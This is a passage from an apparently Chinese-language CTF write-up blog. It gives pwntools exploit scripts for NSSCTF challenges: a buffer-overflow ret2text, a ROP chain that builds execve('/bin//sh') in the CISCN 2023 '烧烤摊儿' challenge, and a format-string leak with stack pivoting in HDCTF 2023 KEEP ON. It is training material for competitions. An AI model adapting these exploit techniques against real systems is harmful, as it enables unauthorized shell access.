class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">25730</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">offset = <span class="number">18</span></span><br><span class="line">cat_flag = <span class="number">0x000000000402013</span></span><br><span class="line"></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">r()</span><br><span class="line">payload = flat([cyclic(offset),<span class="number">0x000000000401229</span>])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="CISCN-2023-初赛-烧烤摊儿"><a href="#CISCN-2023-初赛-烧烤摊儿" class="headerlink" title="[CISCN 2023 初赛]烧烤摊儿"></a>[CISCN 2023 初赛]烧烤摊儿</h3><p>发现负数有bug</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># from LibcSearcher import *</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : io.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : io.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : io.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : io.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> io.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(io.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> io.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : io.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(io.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28373</span></span><br><span class="line">io = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(io.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">shop</span>():</span><br><span class="line">    sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    sl(<span class="string">&quot;-999999&quot;</span>)</span><br><span class="line"><span class="comment"># for i in range(0,200):</span></span><br><span class="line">    <span class="comment"># shop()</span></span><br><span class="line">shop()</span><br><span class="line">sl(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;5&quot;</span>)</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"></span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x28</span></span><br><span class="line"></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000040a67e</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004e60e0</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000458827</span>) <span class="comment"># pop rax ; ret</span></span><br><span class="line">p += <span class="string">b&#x27;/bin//sh&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000045af95</span>) <span class="comment"># mov qword ptr [rsi], rax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000040a67e</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004e60e8</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000447339</span>) <span class="comment"># xor rax, rax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000045af95</span>) <span class="comment"># mov qword ptr [rsi], rax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000040264f</span>) <span class="comment"># pop rdi ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004e60e0</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x000000000040a67e</span>) <span class="comment"># pop rsi ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004e60e8</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004a404b</span>) <span class="comment"># pop rdx ; pop rbx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x00000000004e60e8</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x4141414141414141</span>) <span class="comment"># padding</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000447339</span>) <span class="comment"># xor rax, rax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000496710</span>) <span class="comment"># add rax, 1 ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;Q&#x27;</span>, <span class="number">0x0000000000402404</span>) <span class="comment"># syscall</span></span><br><span class="line">sl(p)</span><br><span class="line"></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HDCTF-2023-KEEP-ON"><a href="#HDCTF-2023-KEEP-ON" class="headerlink" title="[HDCTF 2023]KEEP ON"></a>[HDCTF 2023]KEEP ON</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">80</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;please show me your name: &quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x48</span>uLL);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;hello,&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;keep on !&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x60</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>是一个栈迁移</p><p>​<code>%16$p</code>​获取到rbp的地址</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p/x 0x7ffe9c6c80b0-0x7ffe9c6c8060</span><br><span class="line"><span class="variable">$2</span> = 0x50</span><br></pre></td></tr></table></figure><p>那就是-0x60</p><p>本地需要对齐</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28465</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&quot;pop rdi&quot;</span>,<span class="string">&quot;ret&quot;</span>])[<span class="number">0</span>]</span><br><span class="line">ret = rop.find_gadget([<span class="string">&quot;ret&quot;</span>])[<span class="number">0</span>]</span><br><span class="line">leave = rop.find_gadget([<span class="string">&quot;leave&quot;</span>,<span class="string">&quot;ret&quot;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="built_in">print</span>(leave)</span><br><span class="line">system = elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">offset = <span class="number">0x50</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">r()</span><br><span class="line">sl(<span class="string">&quot;%16$p&quot;</span>)</span><br><span class="line">rl(<span class="string">&quot;hello,&quot;</span>)</span><br><span class="line">fake_rbp = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>,drop=<span class="literal">True</span>).decode(<span class="string">&quot;utf-8&quot;</span>),<span class="number">16</span>) - <span class="number">0x60</span></span><br><span class="line">success(<span class="string">&quot;fake_rbp: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(fake_rbp))</span><br><span class="line"></span><br><span class="line">payload = flat([<span class="string">b&quot;/bin/sh\x00&quot;</span>,ret,rdi,fake_rbp,system])</span><br><span class="line">payload = payload.ljust(<span class="number">0x50</span>,<span class="string">b&#x27;\x00&#x27;</span>) + p64(fake_rbp) + p64(leave)</span><br><span class="line"><span class="comment"># debug()</span></span><br><span class="line">s(payload)</span><br><span class="line"></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="SWPUCTF-2022-新生赛-Integer-Overflow"><a href="#SWPUCTF-2022-新生赛-Integer-Overflow" class="headerlink" title="[SWPUCTF 2022 新生赛]Integer 